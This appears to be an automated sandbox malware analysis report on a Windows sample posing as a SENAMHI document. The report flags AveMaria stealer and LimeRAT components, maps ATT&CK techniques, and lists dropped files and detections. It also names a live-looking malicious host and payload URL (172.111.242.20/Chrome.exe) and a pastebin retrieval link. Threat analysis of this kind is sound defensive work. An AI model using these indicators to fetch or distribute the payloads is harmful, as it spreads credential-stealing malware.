                      Source: Yara matchFile source: 19.2.chrome.exe.a20000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.2b22c9c.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000013.00000000.80248070314.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000012.00000000.80097480691.0000000000762000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000010.00000002.80087663971.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000012.00000002.83499752484.0000000000762000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80247515540.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000010.00000002.80088120152.0000000002DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79892756744.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79892233843.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000002.80404784517.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80246486829.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79893250831.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000002.80311999722.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80246995488.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79893776213.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000002.80316124713.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: wtqsCpda..exe PID: 1033924, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: schtasks.exe PID: 1034124, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: chrome.exe PID: 1034204, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: chrome.exe PID: 6672, type: MEMORYSTR
                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe, type: DROPPED
                      Source: Yara matchFile source: C:\Users\user\AppData\Roaming\wtqsCpda..exe, type: DROPPED
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                      Source: chrome.exe, 00000012.00000003.80689278406.00000000069AF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.82973891926.00000000069AF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83520044548.00000000069B4000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
                      Source: chrome.exe, 00000012.00000002.83507733263.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83505966850.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83511079923.0000000003178000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: MsMpEng.exe

                      Stealing of Sensitive Information

                      barindex
                      Yara detected AveMaria stealer
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: DocumentoSENAMHI20222103.exe PID: 6576, type: MEMORYSTR

                      Remote Access Functionality

                      barindex
                      Yara detected AveMaria stealer
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

                      Mitre Att&ck Matrix

                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      Valid Accounts131
                      Windows Management Instrumentation                      		1
                      DLL Side-Loading                      		1
                      DLL Side-Loading                      		11
                      Disable or Modify Tools                      		11
                      Input Capture                      		1
                      System Time Discovery                      		Remote Services11
                      Archive Collected Data                      		Exfiltration Over Other Network Medium1
                      Web Service                      		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                      Default Accounts1
                      Native API                      		1
                      Scheduled Task/Job                      		12
                      Process Injection                      		11
                      Deobfuscate/Decode Files or Information                      		LSASS Memory2
                      File and Directory Discovery                      		Remote Desktop Protocol11
                      Input Capture                      		Exfiltration Over Bluetooth11
                      Ingress Tool Transfer                      		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain Accounts1
                      Scheduled Task/Job                      		Logon Script (Windows)1
                      Scheduled Task/Job                      		2
                      Obfuscated Files or Information                      		Security Account Manager135
                      System Information Discovery                      		SMB/Windows Admin Shares1
                      Clipboard Data                      		Automated Exfiltration11
                      Encrypted Channel                      		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)11
                      Software Packing                      		NTDS261
                      Security Software Discovery                      		Distributed Component Object ModelInput CaptureScheduled Transfer2
                      Non-Application Layer Protocol                      		SIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
                      DLL Side-Loading                      		LSA Secrets2
                      Process Discovery                      		SSHKeyloggingData Transfer Size Limits113
                      Application Layer Protocol                      		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.common1
                      Masquerading                      		Cached Domain Credentials41
                      Virtualization/Sandbox Evasion                      		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                      External Remote ServicesScheduled TaskStartup ItemsStartup Items41
                      Virtualization/Sandbox Evasion                      		DCSync1
                      Application Window Discovery                      		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job12
                      Process Injection                      		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                      Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
                      Hidden Files and Directories                      		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
                      Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)1
                      Hidden Users                      		Network SniffingProcess DiscoveryTaint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet
                      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 593268 Sample: DocumentoSENAMHI20222103.exe Startdate: 21/03/2022 Architecture: WINDOWS Score: 100 42 pastebin.com 2->42 56 Found malware configuration 2->56 58 Malicious sample detected (through community Yara rule) 2->58 60 Antivirus detection for URL or domain 2->60 62 15 other signatures 2->62 9 DocumentoSENAMHI20222103.exe 2->9         started        13 chrome.exe 2->13         started        signatures3 process4 dnsIp5 44 172.111.242.20, 2031, 2033, 49761 M247GB United States 9->44 32 C:\Users\user\AppData\Roaming\wtqsCpda..exe, PE32 9->32 dropped 34 C:\Users\user\AppData\Local\...\Chrome[1].exe, PE32 9->34 dropped 36 C:\Users\user\AppData\...\vcruntime140.dll, PE32 9->36 dropped 40 5 other files (none is malicious) 9->40 dropped 16 wtqsCpda..exe 9->16         started        20 cmd.exe 9->20         started        46 pastebin.com 104.23.98.190, 443, 49764 CLOUDFLARENETUS United States 13->46 38 C:\Users\user\AppData\Local\...\IconLib.dll, PE32 13->38 dropped 64 Antivirus detection for dropped file 13->64 66 Multi AV Scanner detection for dropped file 13->66 68 Protects its processes via BreakOnTermination flag 13->68 70 2 other signatures 13->70 file6 signatures7 process8 file9 30 C:\Users\user\AppData\Local\Temp\chrome.exe, PE32 16->30 dropped 48 Antivirus detection for dropped file 16->48 50 Multi AV Scanner detection for dropped file 16->50 52 Machine Learning detection for dropped file 16->52 54 3 other signatures 16->54 22 schtasks.exe 16->22         started        24 chrome.exe 16->24         started        26 conhost.exe 20->26         started        signatures10 process11 process12 28 conhost.exe 22->28         started       

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      DocumentoSENAMHI20222103.exe17%ReversingLabsWin32.Trojan.Woreflint

                      Dropped Files

                      SourceDetectionScannerLabelLink
                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe100%AviraTR/Spy.Gen8
                      C:\Users\user\AppData\Local\Temp\chrome.exe100%AviraTR/Spy.Gen8
                      C:\Users\user\AppData\Roaming\wtqsCpda..exe100%AviraTR/Spy.Gen8
                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe100%Joe Sandbox ML
                      C:\Users\user\AppData\Local\Temp\chrome.exe100%Joe Sandbox ML
                      C:\Users\user\AppData\Roaming\wtqsCpda..exe100%Joe Sandbox ML
                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe93%ReversingLabsByteCode-MSIL.Backdoor.LimeRAT
                      C:\Users\user\AppData\Local\Temp\IconLib.dll31%MetadefenderBrowse
                      C:\Users\user\AppData\Local\Temp\IconLib.dll23%ReversingLabsWin32.Backdoor.Bladabhindi
                      C:\Users\user\AppData\Local\Temp\chrome.exe93%ReversingLabsByteCode-MSIL.Backdoor.LimeRAT
                      C:\Users\user\AppData\Local\Temp\freebl3.dll0%MetadefenderBrowse
                      C:\Users\user\AppData\Local\Temp\freebl3.dll0%ReversingLabs
                      C:\Users\user\AppData\Local\Temp\mozglue.dll0%MetadefenderBrowse
                      C:\Users\user\AppData\Local\Temp\mozglue.dll0%ReversingLabs
                      C:\Users\user\AppData\Local\Temp\msvcp140.dll0%MetadefenderBrowse
                      C:\Users\user\AppData\Local\Temp\msvcp140.dll0%ReversingLabs
                      C:\Users\user\AppData\Local\Temp\nss3.dll0%MetadefenderBrowse
                      C:\Users\user\AppData\Local\Temp\nss3.dll3%ReversingLabs
                      C:\Users\user\AppData\Local\Temp\softokn3.dll0%MetadefenderBrowse
                      C:\Users\user\AppData\Local\Temp\softokn3.dll0%ReversingLabs
                      C:\Users\user\AppData\Local\Temp\vcruntime140.dll0%MetadefenderBrowse
                      C:\Users\user\AppData\Local\Temp\vcruntime140.dll0%ReversingLabs
                      C:\Users\user\AppData\Roaming\wtqsCpda..exe93%ReversingLabsByteCode-MSIL.Backdoor.LimeRAT

                      Unpacked PE Files

                      SourceDetectionScannerLabelLinkDownload
                      1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack100%AviraTR/Redcap.ghjptDownload File
                      18.2.chrome.exe.760000.0.unpack100%AviraHEUR/AGEN.1208284Download File
                      19.0.chrome.exe.a20000.0.unpack100%AviraHEUR/AGEN.1208284Download File
                      15.0.wtqsCpda..exe.540000.3.unpack100%AviraHEUR/AGEN.1208284Download File
                      18.0.chrome.exe.760000.0.unpack100%AviraHEUR/AGEN.1208284Download File
                      15.0.wtqsCpda..exe.540000.2.unpack100%AviraHEUR/AGEN.1208284Download File
                      15.0.wtqsCpda..exe.540000.1.unpack100%AviraHEUR/AGEN.1208284Download File
                      1.0.DocumentoSENAMHI20222103.exe.bd0000.0.unpack100%AviraADWARE/Adware.Gen8Download File
                      19.2.chrome.exe.a20000.0.unpack100%AviraHEUR/AGEN.1208284Download File
                      19.0.chrome.exe.a20000.1.unpack100%AviraHEUR/AGEN.1208284Download File
                      19.0.chrome.exe.a20000.2.unpack100%AviraHEUR/AGEN.1208284Download File
                      15.0.wtqsCpda..exe.540000.0.unpack100%AviraHEUR/AGEN.1208284Download File
                      19.0.chrome.exe.a20000.3.unpack100%AviraHEUR/AGEN.1208284Download File
                      1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack100%AviraTR/Patched.Ren.Gen3Download File
                      15.2.wtqsCpda..exe.540000.0.unpack100%AviraHEUR/AGEN.1208284Download File
                      1.2.DocumentoSENAMHI20222103.exe.bd0000.0.unpack100%AviraADWARE/Adware.Gen8Download File

                      Domains

                      ⊘No Antivirus matches

                      URLs

                      SourceDetectionScannerLabelLink
                      http://172.111.242.20/Chrome.exeTTC:100%Avira URL Cloudmalware
                      http://172.111.242.20/Chrome.exer100%Avira URL Cloudmalware
                      http://x1.c.lencr.org/01%VirustotalBrowse
                      http://x1.c.lencr.org/00%Avira URL Cloudsafe
                      http://x1.i.lencr.org/00%VirustotalBrowse
                      http://x1.i.lencr.org/00%Avira URL Cloudsafe
                      http://ocsp.thawte.com00%Avira URL Cloudsafe
                      http://crt.rootca1.amazontrust.com/rootca1.cer0?0%Avira URL Cloudsafe
                      http://www.mozilla.com00%Avira URL Cloudsafe
                      172.111.242.20100%Avira URL Cloudmalware
                      http://172.111.242.20/Chrome.exelr100%Avira URL Cloudmalware
                      http://crl.rootca1.amazontrust.com/rootca1.crl00%Avira URL Cloudsafe
                      http://crl.pki.goog/gtsr1/gtsr1.crl0W0%Avira URL Cloudsafe
                      http://172.111.242.20/Chrome.exen100%Avira URL Cloudmalware
                      http://ocsp.rootca1.amazontrust.com0:0%Avira URL Cloudsafe
                      http://172.111.242.20/Chrome.exe100%Avira URL Cloudmalware
                      https://pki.goog/repository/00%Avira URL Cloudsafe
                      http://pki.goog/repo/certs/gtsr1.der040%Avira URL Cloudsafe

                      Domains and IPs

                      Contacted Domains

                      NameIPActiveMaliciousAntivirus DetectionReputation
                      pastebin.com
                      		104.23.98.190
                      		truefalse
                        		high

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        https://pastebin.com/raw/03PEm7jsfalse
                          		high
                          172.111.242.20true
                          • Avira URL Cloud: malware
                          		unknown
                          http://172.111.242.20/Chrome.exetrue
                          • Avira URL Cloud: malware
                          		unknown

                          URLs from Memory and Binaries

                          NameSourceMaliciousAntivirus DetectionReputation
                          http://172.111.242.20/Chrome.exeTTC:DocumentoSENAMHI20222103.exe, 00000001.00000002.83502359719.00000000011D0000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80684755991.00000000011D2000.00000004.00000020.00020000.00000000.sdmptrue
                          • Avira URL Cloud: malware
                          		unknown
                          http://www.mozilla.com/en-US/blocklist/DocumentoSENAMHI20222103.exe, 00000001.00000003.80768273960.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://crl.thawte.com/ThawteTimestampingCA.crl0DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://172.111.242.20/Chrome.exerDocumentoSENAMHI20222103.exe, 00000001.00000002.83502024723.00000000011B2000.00000004.00000020.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://x1.c.lencr.org/0DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpfalse
                              • 1%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
                              http://x1.i.lencr.org/0DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpfalse
                              • 0%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
                              http://ocsp.thawte.com0DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://crt.rootca1.amazontrust.com/rootca1.cer0?DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.mozilla.com0DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, 